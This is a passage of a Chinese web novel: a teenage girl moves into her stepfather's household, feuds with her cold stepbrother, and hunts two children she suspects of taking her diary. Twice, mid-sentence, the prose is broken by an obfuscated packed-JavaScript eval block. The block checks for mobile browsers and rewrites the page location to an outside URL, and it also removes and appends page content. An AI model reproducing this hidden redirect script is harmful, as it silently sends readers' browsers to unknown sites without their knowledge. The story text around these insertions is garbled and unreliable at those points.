不过短短几行字,就有好几个灼到她的眼睛。 “家”,“你哥”。 梁月听面无表情地移开视线,把手机屏幕摁灭,接着去看窗外阴雨连天的南城。 这里所有的一切,都跟这场雨一样烦人。 她这样想。 好在这场雨还算识趣,在她到站前停了。 梁月听拖着行李箱出站,刚走出火车站大门,就有外面蹲守的本地男人围上来问她搭不搭车,皮肤黝黑,身材健壮,说话还带着点口音。 “不用。”梁月听摇头,提着行李箱绕开他们,没管他们不依不饶地跟在她身后问美女去哪里,只是蹙着眉加快了脚步。 走了大约半条街,才把人都甩掉。雨水在早就老化碎掉的砖块里安了家,一有不慎踩上去,就会引得它们愤怒,被犹带泥点的水滴溅了一身。 甚至还有的溅到了锁骨上。 梁月听强忍不耐烦,在街边站了二十分钟。 但很显然,下雨天的出租车是全世界最俏的东西,要不就是没车,要不就是有客。眼看着雨又快要下起来,她蹙着眉,去街边还开着的麻将馆问路。 “你好,请问林海云家怎么走?” “林海云?哪个林海云?”牌桌上的中年男人吞云吐雾,打出一张二筒,慢半拍似的反问了一个梁月听答不上来的问题。 好在他对面烫着方便面似的波浪卷的女人接话,“还有哪个林海云?那个在国有企业做高管的呀。” 那男人嗤了一声,很是不屑,嘟哝道:“什么高管,还不是在外面乱搞,然后把三儿接回来……” 到底是女人敏锐一些,上下打量着她,涂着鲜红指甲油的手在男人手臂上掐了一把,还低低嘘了一声,男人才倏然反应过来似的,收了声。 梁月听面无表情地看着这一切,像在看一场事不关己的闹剧,在脑海中记下女人给她报出的路线,拽着行李箱就往外走,对身后的窃窃私语置若罔闻。 不算远,约莫二十分钟就能走到董淑和说过的那个巷口。 电线杆立在巷口边,上面张贴着乱七八糟、重金求子的小广告,一张叠一张,崭新的盖住破烂的,再被雨水打湿,一撕就会烂成破碎的纸条。 梁月听艰难地拽着行李箱走到马路对面,手掌被崎岖路面造成的阻力磨得发疼,停下来休息的时候,瞥见对面蹲着一个人。 天阴沉沉的,没有什么光,那人穿着一身黑,蹲在巷口旁的墙根底下,双腿略分,姿态随意,手臂伸直,散漫地搭在膝盖上。 全身上下都是严实的黑色,连卫衣兜帽都拉到头顶,微低着头,看不清脸,只能远远地瞥见一点冷白的脖颈和下颌。 像个神/经病。 这是梁月听的第一反应。 下雨天的不回家,蹲墙根底下装什么酷。 正想着,雨又淅淅沥沥地落下来了。 如短暂的丝线,轻而缓,绵绵不绝,擦过脸颊。 梁月听蹙起眉,啧了一声,摩擦得发红的手心复又覆上拉杆,拽着行李箱往前走。 巷口极窄,最多不过供两个人并肩通过,两旁是水泥糊起的房子,还有一条绳子拉直,当作晾衣杆,雨水积在破碎的砖块中间,一踩就溅起带着泥点的水花。 巷口有个坎,不高,就是一般道路和居民区的分割线,但下了雨,边缘湿滑,梁月听拖着行李箱,拽了好几下,滑轮卡在边缘,就是上不来。 行李箱很重,单手拎着拉杆,手心被磨得发痛。 上上下下反复多次,她也来了火,蹙着眉往上猛力一拽! “啪嗒”一声响—— 滑轮越过路边低坎,重重落在青砖块地上,撬起松动的砖块一角,溅起蓄积的雨水。 猝不及防的溅水还带着泥点,在空中划过几道迅疾且难以预设的弧线,梁月听下意识闭眼,防止泥水溅到眼睛里。 直到感到裤脚和发尾都遭了殃,约莫这场无妄之灾过去,她才缓慢睁开眼。 但面前不是昏沉的天色,也不是晾着棉麻衣服的巷口,而是一片黑色。 梁月听顿了顿,缓慢抬眼。 视线划过黑色的卫衣领口,划过凸起的喉结,停在面前的人脸上。 方才蹲在墙根下那人不知道什么时候站了起来,在眼前压下一片黑色的阴影。他身量极高,梁月听要略微抬头,才能看见他的脸。 那人略微仰了一仰头,卫衣兜帽往后滑,露出帽檐下一双漆黑如墨的眼。 他眼尾略微向下,双眼皮褶皱极窄,整个人显得极其锋利,此刻光是沉默不语地盯住她,就能感到一种无声的压迫感。 沉默地对视几秒后,梁月听看着他垂眼。 他的视线缓慢而又漫不经心地扫过她手里握着的行李箱,湿透后晕成深色的裤脚,还有湿透的发尾。 停留数秒后,最后回到她的眼睛。 全程都很安静。 他明明未置一词,她却能感知到那点微妙的嘲讽。 那种情绪很奇怪,像在看橱窗里残破的模特,看裹着光鲜外衣,内里却残破腐烂的人一样,好像能穿过皮囊,直直望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635152|156290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向内心。 ……有种被冒犯的不悦。 梁月听蹙起眉,不再想跟这神/经病纠缠,紧了紧握住行李箱拉杆的手,准备绕开他往里走。 刚迈出两步,那人长腿一迈,眼前又压下一片熟悉却烦人的黑色。 ——他又堵在她面前。 逼仄的巷口被堵了大半,根本避无可避,梁月听那股火一下子窜上来,抬眼盯着他。 “干嘛?” 面前这人神情冷淡,眉眼平静,对上她疑惑又恼火的目光,只是扯了扯嘴角,盯着她,缓慢伸出手指,慢悠悠地向下点了点。 梁月听蹙着眉,顺着他指的方向往下看。 黑色卫衣下面是一条黑色运动裤,略宽松的落在脚踝处,裤脚边被溅了几处泥点,约莫是刚溅不久,甚至还看得出湿润的感觉。 顿了顿,梁月听抬头。 他神情依旧平静冷淡,略带不耐地开口。 “道歉。” 声音低缓,但吐字清晰,干脆利落。 甚至能从中窥见他并不友好的情绪。 这句话一出口,梁月听就倏然敏锐地察觉到了端倪。 董淑和短信里的那个巷口,那个故作亲密的“你哥”,瞬间就在此刻跟眼前的人对上了号。 如果说这场相遇由于她是个外来人,所以才无法在第一时间认出他的话,那这个理由对林照野就绝不可能成立。 他在这里就是为了等她。 或是因为继母要求,或是因为父亲命令,无论如何,都是为了等一个小城里从未出现过的、步履蹒跚的陌生面孔。 他绝不可能错认。 但他还是这样了。 毫不犹豫,懒得掩饰地把敌意挂在明面上,只是他天生一副不太在意的冷淡面孔,冲散了这份不友善,才看起来像平静的模样,只是悄然地挂上了几分嘲讽和讥诮。 梁月听沉默良久,任由无声的火星在两个人之间飞溅,任由这场无声的对峙持续下去,成为旷日持久的战争开端。 最后的最后,她仰起脸,笑了一下。 一个再明显不过的假笑,甚至连眼睛都没弯。 她看着他,慢悠悠地吐字。 “你做梦。” 空气寂静一秒。 然后梁月听拽着行李箱侧身,硬生生从他身旁挤过去。 身影纤细,但骨骼坚硬,甚至能从擦肩的瞬间中,感知到她瘦削的肩膀和手肘骨头。 行李箱滑轮发出噪音,伴随着雨滴砸在水坑中的声音,在青砖地上滚远,只留下一个脊背挺直的背影。 像是什么绝不服输的预告。 林照野站在原地,垂眼看了看裤腿上新溅上的泥点,神情晦暗不明。 良久,他很轻地啧了一声,单手把卫衣兜帽往下扣了扣,朝着相反的方向走了。 这就是她和林照野的第一次见面。 充满了少年时代幼稚却明晰的敌意,以一种沉闷的基调贯彻了整个青春期,像典故里最锋利的矛和最坚硬的盾,是自相矛盾,无解的命题。 4. 苦花椒 04 那天的相遇以梁月听独自一人在巷子里问路而告终。 巷子不深,老式楼房陈旧,只有六层,每层两户,墙根处都是湿润的水印,对称规整地立在两侧。 不少一楼都改成开放式,把绿色的“麻将”两个字贴在窗外,梁月听拖着行李箱经过时,能清晰地听见吵闹的说话声,和麻将碰撞的声音。 还有浓重的烟味。 她皱了皱眉,加快了脚步,四处张望着。 她只依稀记得董淑和跟她提过,房子是在三楼,但具体哪栋楼却不太清楚。 单元楼院落里有坐在屋檐下织毛衣的阿嬷,但耳朵不大好,一句“林海云家在哪里”问了五六遍,才得到了“就在楼上”的回答。 梁月听向上望了望。 三楼有两户人家,右边那户的窗户封住了,无人居住的模样,应该是左边那户。那扇窗紧闭着,窗边空空荡荡,没有一点动静。 此刻是上班时间,房子里应该没人在,上去也是徒劳,不如在楼下等。 梁月听放下行李箱,理了理裤脚,坐在台阶上发呆。 天气难测,时停时续的小雨又停止了,天空依旧阴沉,雨后的麻雀陆续振翅,落在电线杆上,叽叽喳喳叫个不停。 梁月听坐着出了会儿神。 这里的一切都很陌生。 远离市区的小城镇,人人都熟知的街坊邻居,矮□□仄的街边店铺,棉麻衣服晾出窗外的晾衣杆,还有看样子永远也不会停的麻将声。 其实应该是温馨的。 只是这份温馨与她这个外来人无关罢了。 包里的手机倏然响动,把人从漫无目的的思绪中拉回来。 梁月听拿起来看。 是从前的朋友,许是听说了她下学期开学不会再出现在教室里的消息,发来消息问候两句。 【没事,就是家里工作变动,转到南城来了。】 【好,有时间多约约。】 【你也是,祝你高二生活愉快。】 她一边在手机屏幕上敲下礼貌的回应,一边没什么情绪地望着屏幕,神情极淡,仿佛在聊天中的亲切都只是伪装。 “砰。” 脚边落下一个石子,不知道从哪里飞来的,和水泥地面碰撞,发出脆响。 梁月听抬头看了一眼,楼前依旧空荡荡,除了那位单元楼下坐着织毛衣的奶奶,并无别人。 她刚要低头关上手机,脚边倏然又飞来一个石子,突兀地砸在离她只有几厘米的地方。 这回甚至不是那种小块的砖瓦碎石,而是一块光滑的鹅卵石,落在地上时还嚣张地转了几圈。 一看就不是意外。 但幼稚到让人无语。 梁月听默了两秒,抬眼,起身,面无表情地装好手机,往发出响动的茂密梧桐树后走。 南城常宁镇,修建历史悠久,这片家属院尤其,约莫上个世纪末尾就随单位搬迁到这里,连梧桐树都枝繁叶茂,树干粗大,足以藏下两个小女孩。 梁月听绕过去的时候,两个约莫十一二岁的小姑娘还在压低了声音商量,说太远了砸不到怎么办。 “砸不到就叫我呗。”梁月听抱臂靠在树干旁,不偏不倚地挡了两个人的路,没什么表情地瞧着她们,声音也冷淡。 “我站这儿给你们砸。” 两个小丫头片子机灵,反应迅速,拔腿就想要跑,忙从她旁边钻过去,一个被梁月听侧身挡住,一个弯腰从她身边溜过去,没跑几步,就被拽着反过来的红领巾尾巴,轻松扯了回来。 “什么意思?”梁月听堵着这俩小孩儿,居高临下地望着,轻飘飘问。 “你们跟我有仇啊?” 小丫头片子一开始赌气不说话,后来看她清清冷冷的,没什么表情,不准备放人,但也不像真会生气揍人的样子,才慢吞吞地带着气交代。 “你跟我们当然没仇啦,我们又不认识你。” 另一个小女孩补充道,“但是你跟照野哥哥有仇!他们都说你妈破坏了别人的家庭,是……” 带着数字的词还没说出口,先开口的那个女孩就捂住了她的嘴,小声在耳边道,“小心点!万一她真揍我们怎么办?” 十一二岁的小孩或许还不懂这个词的含义,不懂大人聊闲天时为什么要特意压低声音,但这流言蜚语能传到她们的耳朵里,还能根深蒂固地让人觉得她有错,并用最幼稚但也最直接的方式来报复她,可见有多深入人心。 也可见她与这里有多格格不入。 梁月听倏然觉得没劲。 她看了她们一会儿,连从哪儿听来的都懒得问,只是兴致缺缺地移开眼,侧身往旁边迈了一步,放她们走了。 两个小孩面面相觑,对视几眼,连忙溜了。 梁月听站在梧桐树下,手机还在兀自响着,大约是她的同学们还在表示安慰,她却懒得理了。 心里一股郁气,沉甸甸的一压再压,还能从出神中分心去听见行李箱滑轮滚动的声音。 这里没有外来客,只能是她的行李箱。 梁月听转身往来的方向看,只能看见在水泥地上滚动了两下的行李箱,和放在箱子上面的白色书包。书包拉链不知道什么时候开了一半,敞开在风里,露出里面的笔记本。 梁月听正疑惑着,转头瞥见了下班拎着菜回来的董淑和。 “诶,你怎么还在这儿?”董淑和错愕不已,把左手提着的活鱼塑料袋换到另一只手上去,握住她的行李箱,冲她招手,“怎么不上去啊?” 也要能上去啊。 梁月听在心里想着,嘴上却没说话,从她手里接过箱子,单手把书包拉链拉好,跟在她后面上楼了。 “你哥不是接你去了吗?什么情况,下雨天的你一个人坐在外面?” 董淑和开了门,换鞋进屋,一边把活鱼倒在厨房水槽里,且留它再活一会儿,一边发问。 忽略掉那个驾轻就熟的“你哥”,梁月听站在门口,打量着这间屋子。 在这种老小区里还算大,套四的户型,一百来平米,客厅的装修偏中式,厚重的棕色木质长椅作沙发,家具眼看着也年代久远,墙上挂着一页一页撕掉的挂历,今天的那张上面清楚写着“不宜出行,忌搬家”。 还挺应景。 梁月听一边打量着这个房子,一边轻嗤一声,回答她妈的问句。 “你要不自己问问他?” 不算友好的语气,冷中带刺,还带着跟林照野如出一辙的讥诮,董淑和愣了片刻。 她关掉水龙头,抖抖手上的水,回头看。 梁月听没换鞋,也没进来,扶着行李箱站着,停在入户那块深色的垫子上,好像这样就能表现自己对这个地方的抗拒一般。 也确实表现出来了。 董淑和用抹布擦了擦手,顿了两秒,问:“他没来接你?” “来了啊。”梁月听应得很快,声音里还带着一股冷意,但在看到董淑和弯腰从鞋柜里拿出一双新的粉色拖鞋,并俯身放到她面前时,那股郁气还是像一个被戳破的气球一样,缓慢散掉了。 “那怎么回事?”董淑和起身皱眉。 梁月听沉默着,缓慢蹬掉鞋子,慢吞吞穿上那双她很早以前就不再喜欢的HelloKttiy拖鞋,良久,还是垂着眼道, “……他后来有事,就先走了。” 都说母女连心,梁月听虽然从来没感知到这一点,但此刻也觉得,董淑和应该也知道她只是在打幌子,装作云淡风轻,粉饰太平罢了。 那不然怎么办呢? 跟她说她初见就和林照野有矛盾吗? 就凭这短短十几分钟内,董淑和在这个家里做家务的熟练程度,也能看出来她平时是个什么地位。 梁月听并不觉得林照野这种我行我素的人,会给这位继母什么好脸色。 本来就是初来乍到,寄人篱下,说了又有什么用呢? 徒增矛盾罢了。 果然,董淑和沉默两秒,扶着她的行李箱,背过身去,“这样啊。” “照野这孩子平时确实忙,事多,成绩还不错,朋友也多……” 梁月听听着她装作无意的解释,扯了扯嘴角,也懒得揭穿她,只是跟着董淑和进了最里面一间屋子。 “这是你的房间,啊。”董淑和忙忙碌碌给她理了理行李,“小是稍微小了点,但清净。” 梁月听嗯了一声,懒得说更多,拦住她要帮她收拾衣服的手,倦怠道,“我自己来吧,你先去忙。” 董淑和又顿了两秒,手指在空中蜷了蜷,半晌过后,说好,然后出门去,还贴心地给她带上了门。 梁月听当然也没收拾。 她只是背对着,听见门关上的声音之后,缓慢呼出一口长气,疲倦又无力地向下蹲在床边。 一个陌生的环境,蹲下也并不能获得什么安慰。 她脊背向后,靠在床边,将脸埋进膝盖里,双手抱着腿,像一只鸵鸟,是一个极度抗拒交流和寻求安全感的姿态。 不知道保持了这个姿势多久,连腿都发麻,梁月听终于在漫长的出神中,听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635153|156290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见客厅防盗门打开的声音。 “回来啦?”她听见董淑和说,尾调刻意地上扬,声音轻柔,伪装出一种等待已久的期待感,让人觉得违和得要命。 偏偏那人不觉得。 梁月听听见一个陌生的男声应了,然后窸窸窣窣一阵响,大概换鞋走了进来,接着问,“听听呢?” “房间里呢,估计在收拾,等会儿吃饭的时候再介绍你们认识。”董淑和说。 梁月听闭上眼,不再听外面模糊却刺耳的动静,安静地在房间中等待董淑和喊她吃饭的声音,像是死刑犯在等待刽子手的行刑。 - 饭桌表面上还算平静。 林海云长相普通,勉强能说一声端正,身材也难得没有发福,穿着白色衬衣,再戴一副银边眼镜,倒也能显出几分斯文来。 他待梁月听还算温和,嘘寒问暖,问这问那,一会儿问她觉得房间好不好,不好可以跟林照野换,一边给她夹菜。 梁月听只能勉强扯了扯嘴角,说不用,挺好的。 他们俩陌生又局促的对话进行时,董淑和就在一边收拾东西,脸上还有点欣慰的微笑。 梁月听本来不想理,也不想接那些中年男人无聊又自大的自我吹捧,但移开视线时看到董淑和那点笑,又顿了顿,呼出一口气,尽力忍了。 这顿饭进行到一半时,防盗门传来钥匙插进孔里,锁芯转动的声音。 饭桌上静了一秒,好像在为此做迎接。 再接着,门从外面被打开。 梁月听的座位背对着大门,但她不用看也知道,进来的是谁。 毕竟这个“家”就四个人,只有她那个“哥”不在。 “来吃饭。”林海云挥挥手,招呼道,“你董阿姨做了酸菜鱼。” “吃过了。”林照野答道。 简短而又冷淡,尾音短促,让人觉得他要不是要在门口换鞋,需要停留几秒,都不会理这句招呼。 梁月听根本就没回头,因而能清晰地看见,对面的林海云脸色顿时就沉了几分,还是忍着,“这是你董阿姨的女儿来我们家的第一顿饭,怎么说也坐下来吃点。” 身后没有声音。 林照野没答。 他甚至不屑于再说一句影视剧里叛逆青少年最爱重复的话,类似烦躁地讲“都说了吃过了”之类的,只是踩着拖鞋,不疾不徐地往房间里走。 脚步声在安静的客厅里显得格外明显,像一种无声的示威与宣告。 林海云彻底黑了脸,“啪”一声,把筷子往桌上一甩,像某种发火的预告。 还没等他说话,林照野就倚在房门边,似笑非笑地回身,提前预判似的,慢悠悠开口,“摔东西也没用。” 气氛顿时凝滞。 林海云像是被猜中了,下不来台,脸色青了又白,正好董淑和看准时机,在旁边做老好人,温声劝他消气,一句接一句,勉强算有了台阶。 半晌,他冷哼一声,重新拿起筷子,又倏然想起似的,问了一句, “不是让你去接听听吗?怎么一个人这么晚才回来?” 林照野不答,而梁月听装聋作哑,只当这问题不是对她抛出来的,就恍若未闻似的夹了块鱼肉。 然而好景不长,没人回答的问题还是会落到她头上。林海云大概深知他儿子是个什么德行,把问题重新扔给梁月听。 “他是不是没来接你,听听?” 一个不大的客厅,三个人都在等她回答,一个狐疑,一个忐忑,还有一个在看戏。 这是梁月听自巷口初遇后,第一次正经转头去看林照野。 他还是那件黑色卫衣,站在房门边上,半倚着身子,散漫又洒脱,连嘴角弧度都像在看一场有趣的表演,不无嘲讽。 梁月听回过眼,看见董淑和紧张的神情,飘忽不定的视线,紧紧拧在一起的手指,还有被她攥得皱得不成样子的围裙。 好半晌,她垂下眼,没什么情绪地轻声道,“来了的。” 他来接她了,帮她提着行李到家门口,还进行了一番礼貌而友好的寒暄。 多么虚假而明显的谎言,偏偏桌上两个人还在就此延伸讨论,像一场荒谬至极的闹剧。 对话声里,梁月听清晰地听见一声轻蔑的冷嗤,仿佛在鼻息都在嘲笑着,说“没劲”。 然后“砰”一声,房门关上。 她沉默着,低颈去咬那块早已冷掉的鱼肉。 细嫩的肉里藏着两颗花椒,表面上看不出来,但咬下去的时候就知道。 是苦的。 5. 日记本 05 许是新环境的原因,梁月听第二天醒得很早。 晨光熹微,从昨夜没拉好的窗帘中倾泻进来,照亮房屋顶部的横梁。房子年代略久,刷墙用的都是白色石膏粉,已经有了些隐隐的裂纹,细密而又蜿蜒地落在横梁上。 梁月听半睁着眼,盯着天花板发呆。 人在思绪不定的时候,反而会做一些很久都没有再想起的梦。 梦里年幼的女孩,下班回家后把人扛在肩头玩的父亲,面露嫌弃却依旧还是笑着的母亲……一切的一切,仿佛都还在眼前回放,场景片段如此清晰,熟稔得宛如昨日。 然而醒来时被晨光晃眼,恍惚中,看清入眼陌生的地方,才倏然惊觉,那些貌似和睦的家庭,看似幸福的童年,都早就已经成为过去,如同往日云烟了。 她甚至还梦到了林照野。 巷口初见,而后擦肩,再见就是他闲闲靠在门边,看她要为这场闹剧画下一个怎样的标点符号。 梦里他什么也没有做,只是隔着一条阴雨绵绵的小路望着她,一双眼睛藏在黑色兜帽帽檐下,唇角勾起一抹浅淡的笑,恶劣得一如既往。 单是这样,就已经足够称得上是令人感到不快的梦境了。 像是一个她不会拥有好生活的宣告。 果不其然,拉回她思绪的就是隔壁房间的响声。 老房子年代久远,几乎毫无隔音可言,能清晰地听见隔壁那人在房间里走动的声音,脚步声不疾不徐,平缓响起,和昨晚一样。 好在没响太久,干净利落地结束了。 林照野出门去了。 挺好的,今天不用打照面了。 梁月听这样想。 她动也不动地躺在床上,发了会儿呆。好半晌,才缓慢眨眨眼,挥绝掉梦境带来的那么一星半点的消极情绪,起身坐了起来。 昨天太晚了,只收拾了一半,先把床和衣柜整理好了,还剩一些小物件。 梁月听简单洗漱完毕,回房间关上门,收起已经空掉的行李箱,回身打开书包,把里面的书、笔记本,还有一些零碎的小东西都拿出来。 房间其实也不算太小,约莫十平米左右,摆了张单人床、一个衣柜、一个书柜,还能放下一张桌子。 约莫一个小时过去,梁月听大致收拾完了。 她环顾四周,确认无误后,准备坐下来习惯性写点什么东西的时候,才忽然发现—— 她日记本不见了。 梁月听蹙着眉,把空掉的书包翻出来检查,还把刚整理好的书柜门打开,视线快速扫过,手指抚过每本书的书脊,以确认自己没有错放。 还是没有。 一定是随身带来了的。 一个外观普通的黑色本子,略厚,写了一大半,拿在手里很有质感,不可能会漏掉。 环视过一遍房间,确保自己没有漏过任何一个角落,梁月听站在书柜门前,眉头拧得更深。 这几日最大的情绪波动反而产生在此刻,不是流言蜚语传到耳朵里时,不是寄人篱下感受最为深刻时,甚至不是在陌生环境里失眠和早醒时。 日记本丢了。 这个认知竟然让梁月听感到一种久违的心慌。 如果说她行李箱里有什么最贵重的东西的话,那一定是那个本子。 人是一种很奇怪的生物,明明虚无缥缈的关系都不是客观存在的,过去发生的事也只存在于过去,并不留在当下,却还是会为了一个承载过她太多情绪的物品而心慌,甚至是伤心。 梁月听深吸一口气,跌坐在床上,将脸埋在手掌里,开始在烦躁中努力回想。 面对的方向是一面白墙,黑色的行李箱安静地立在墙根下,她从指缝里不经意一瞥,电光火石间,忽地想起昨天下午听见的滑轮声。 彼时她站在梧桐树下发呆,行李箱和书包在她视线盲区,滑轮在水泥地上发出声响,书包拉链被拉开一半…… 那时她以为是自己没有关严。 现在想来,大概是她高估这里的人了。 梁月听呼出一口长长的气,甚至顾不得董淑和和林海云起了床,在客厅里喊她吃早饭,飞速换了衣服,抓起钥匙就往外走。 上午七点半,常宁镇已经醒了一大半。 要上班的人陆陆续续起了床,下楼出门时沿途打了一路的招呼。卖早点的小贩推着三轮车在单元楼下穿行,刚出炉的包子馒头发出诱人的香气。 但梁月听可顾不得。 被她问路的还是楼下那个织毛衣的奶奶,清晨耳背似乎没有那么严重,只描述了一遍那两个小女孩儿的长相,就得到了明确的回答。 “那两个女娃子呀?一栋何家的,调皮的嘞,放暑假了也不写作业,天天在外面跟着你这么大的男孩子玩……” “具体哪家的啊奶奶?”梁月听问。 “就是一栋二单元嘛,一楼还是二楼……”老太太扳着指头算,梁月听却没耐心再等,直接看着路标就到了那户人家楼下。 刚好碰上那户人家父母出门上班,嘴里还念叨着这俩女孩儿天天不着家,就在外面鬼混。 楼梯狭窄,梁月听想了两秒,还是没说话,侧身让他们从身旁走过去。约莫是生面孔,还惹得夫妻俩多看了她几眼。 梁月听没管,按着他们下来的路线,到了二楼就开始敲门。 没人应。 “砰砰砰”,又是几声过去,房子里还是很安静。 安静到好像没人在。 半等半敲着过了近二十分钟,还是无人响应,梁月听蹙着眉,侧身凝神听了听门内的动静。片刻后,她往楼下走,脚步声稍重。 过了没几分钟,门那侧就传来轻微的脚步声,接着又停了。再等几秒,锁芯轻轻转动,把手轻轻下压—— 门被打开了。 先是一条非常谨慎的小缝,只露出两只眼睛,像是确定情况之后,缓慢向外开大,才露出两颗叠在一起的脑袋,东张西望,小心得很。 好半晌。 “走了走了走了。”开门那个女孩儿吐出一口气,松开握住把手的手。 “吓死我了。”她身后张望的那个女孩拍着胸口,惊魂未定,“她怎么还找到家里来了?” 话音还没落,没关的门边忽然伸进来一只手—— 梁月听本来就是假的离开,方才屏息站在门背后,还耐心地等人放松警惕,现在趁她俩不注意,一把伸手扣住门。 等这俩人反应过来的时候,她已经把门推到最大,半边身子靠住,再关不回来了。 她自认还算有礼貌,没直接闯进别人家里,只是站在门口,靠着门,伸手横臂抵住门框,没什么情绪地问: “我东西是不是在你们那儿?” 这个问题显然没有得到回答,两个小屁孩懵了两秒钟,发出一声尖叫,没头苍蝇似的在玄关跑了两步,发现无处可逃,又非常有默契地抱着脑袋往外冲—— 梁月听本来沉默地看着她俩在玄关乱窜,往门口跑的时候还伸手拦了一下。 但没拦住。 这俩黄毛丫头跟看到鬼一样,冲劲太大了,直接往外面窜,还带着尖锐的尖叫声,属于物理攻击,梁月听真懵了两秒,就被她们弯腰躬身,从身侧往楼下跑了。 梁月听:“……” 看着小屁孩儿逃窜的背影,沉默了好几秒,她才缓缓把门给她们关上,快步追了上去。 无语是真的无语,但追不上也是真的追不上。 梁月听下楼的时候,两个小孩就跑得只剩个影子了,只能看见从这栋楼靠近绿化带的侧边窜走,半人高的草还在轻动,但等她走到的时候,人已经不见了。 梁月听站在草边,看着面前长满青苔的墙根,崎岖不平的、覆满杂乱植被的小路,沉默了片刻,还是单手拨开草,继续往前走了。 走都走到这里了,不就 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厂房背面楼下是一大片空地,入口隐蔽狭窄,后方被家属院低矮的围墙包裹住,算是圈出了一小块无人问津的地,空空旷旷,只有些废旧器材的残骸。 “大清早的你们干嘛啊?”说话的是一个男生,黑黑瘦瘦的,背略微有些佝偻,还在吃早饭,诧异地盯着冲进来的两个人,“有鬼抓你们啊?” 俩小丫头片子头发都跑散了,此刻还在大喘气,一个做了个“嘘”的动作,另一个向后面张望,半天才转过身来,没精打采道,“可不是有鬼吗。” “吓死我了。” 简坚咬完最后一口包子,奇道:“哟,还有你何星星和何月月会怕的东西?平时不是都敢在我们头上拉屎吗?” 两人没顾得上理他,一屁股坐在椅子上,兀自喘着气。 “你吃完了啊我靠?”简坚身后还有个胖子,探头过来看他,很是震惊,“我买了四个包子,你都吃完了?” 简坚风轻云淡地一点头,然后掏出作业开始写。 “牛逼。”胖子冲他比了个大拇指,转身往后走,还在感叹,“我这肉长得是真冤啊。” 走到墙根底下,绿色爬山虎从墙顶往下垂,葱郁茂盛,坠在另一个木质长椅椅背上。 长椅上还坐着一个人。 双腿略分,上身微俯,双手手肘撑在膝盖上,垂着头不置一词,不知道在想什么。 “诶,哥。”胖子走到他身边,若有似无地瞥了眼他边上的袋子,明明跃跃欲试,还要故作矜持,“你这早饭,你还吃不?” 言外之意是,“能给我吃吗?” 林照野头都懒得抬,从鼻腔里嗯了一声,示意他拿走。 胖子如获至宝,乐呵着拿起来,解开塑料袋包装,“香死我了这土豆饼。你这后妈是真好,每天变着花样做早饭,知道你要出门,还帮你直接打包……” 他一边吃一边说,香味从拆开的包装里飘出来,引得何星星和何月月都望过来。 林照野嗤了一声,不甚在意地回应道,“想上位么,总要有点本领的。” 这是梁月听无意间步入这个小团体领地时,听到的第一句话。 她走进来时的脚步声其实很轻,连何星星和何月月都没发现,只是因为恰好正对着长椅上那个人,才在他抬眼的瞬间对上视线。 林照野甚至只是诧异了一瞬,神情都没有任何变化,不明显地顿了一秒后,无所谓地挑了挑眉,还是那么坐着,复又低颈看手机。 明晃晃的毫不在意。 胖子背对着她,正吃着香味熟悉的土豆饼,还在含糊地讲话,“其实要是我家里来一个能自己上班不需要养,还做家务做饭的后妈,我也愿意。” 林照野垂着头,似乎笑了一下,无所谓道, “那送你好了。” 6. 最讨厌 06 这场看起来稀松平常的对话,直到发现有外来人时,才戛然而止。 当然不是林照野停止。 他那样的人,好像天不怕地不怕,天塌下来都是一副懒得在意的模样,别说梁月听在这里,就算林海云和董淑和都在这里,他也照说不误。 是何姓两姐妹被香味勾得饿了,商量着要不要去买点东西吃,转头又看到鬼了,情不自禁发出尖叫,把胖子吓了一跳,差点没拿住饼,回头一看,才停了话头。 一时间,这个封闭的场景十分安静。 中间坐着写作业的,手拉着手在写作业的人旁边尖叫的,一口土豆饼还没咽下去的,长椅上坐着玩手机的,还有在门口站着的梁月听。 好几个人,面面相觑,视线交集,愣是没人发出声音。 最后还是何星星憋不住了,大喊一声,“你怎么追到这里来了啊!” 何月月在旁边帮腔,手叉着腰壮胆,“我告诉你,我们可不怕你啊!” 梁月听没什么表情,神情还冷着,轻描淡写地瞥她们一眼,两个人立马怂了,比泄气的皮球还快,三两步跑到长椅后面,蹲在林照野身后躲着。 简坚看了半天,觉得这地方没一个人指望的上。两个小的就算了,大的一个是哑巴,还有一个只知道吃,于是他只好放下写作业的笔,站起来,有点困惑地发问。 “……你好?你找那两个妹妹,是有什么事吗?” 梁月听停了一秒,简短开口,“我的东西。” “什么东西?”简坚还是困惑。 “……一个本子。”梁月听顿了顿,“昨天下午跟她们说了会儿话,过会儿再去看的时候,书包里的本子就不见了。” 她尽量简短地阐述了整个流程,没提那场对话的起因,也没提内容和过程,甚至没有点明觉得跟她俩有关,只是很边缘地提了一嘴,两个小女孩还是炸毛了。 “我们才没拿你东西!” 愤愤不平的声音从长椅后面传来,梁月听闻声望过去,视线被阻隔,只能看见林照野漆黑的发顶。 她倒也没什么反应,只冷淡地反问,“那你们跑什么?” “谁知道你要干嘛呀!你看起来长得那么漂亮,但总是凶凶的,吓人得很。”何星星说。 “是啊是啊。”何月月从另一边探出头,忿忿道,“大清早就找上门来,万一你想了一晚上,气不过,后悔把我们放走了,重新来收拾我们呢?” 一唱一和,说得还挺煞有介事的。 梁月听:“……” 见她沉默了,也大致摸清楚情况了,简坚看看这边,又看看那边,试探着出声,“……所以是误会吗?” “你俩真没拿人家东西吧?” “没有!”“她谁啊,她也配啊!” 和事佬简坚被暴躁两姐妹吼了一声,尴尬地摸了摸鼻子,转向梁月听,耸了耸肩,没说话,但意思很明显了,是在说“是误会”。 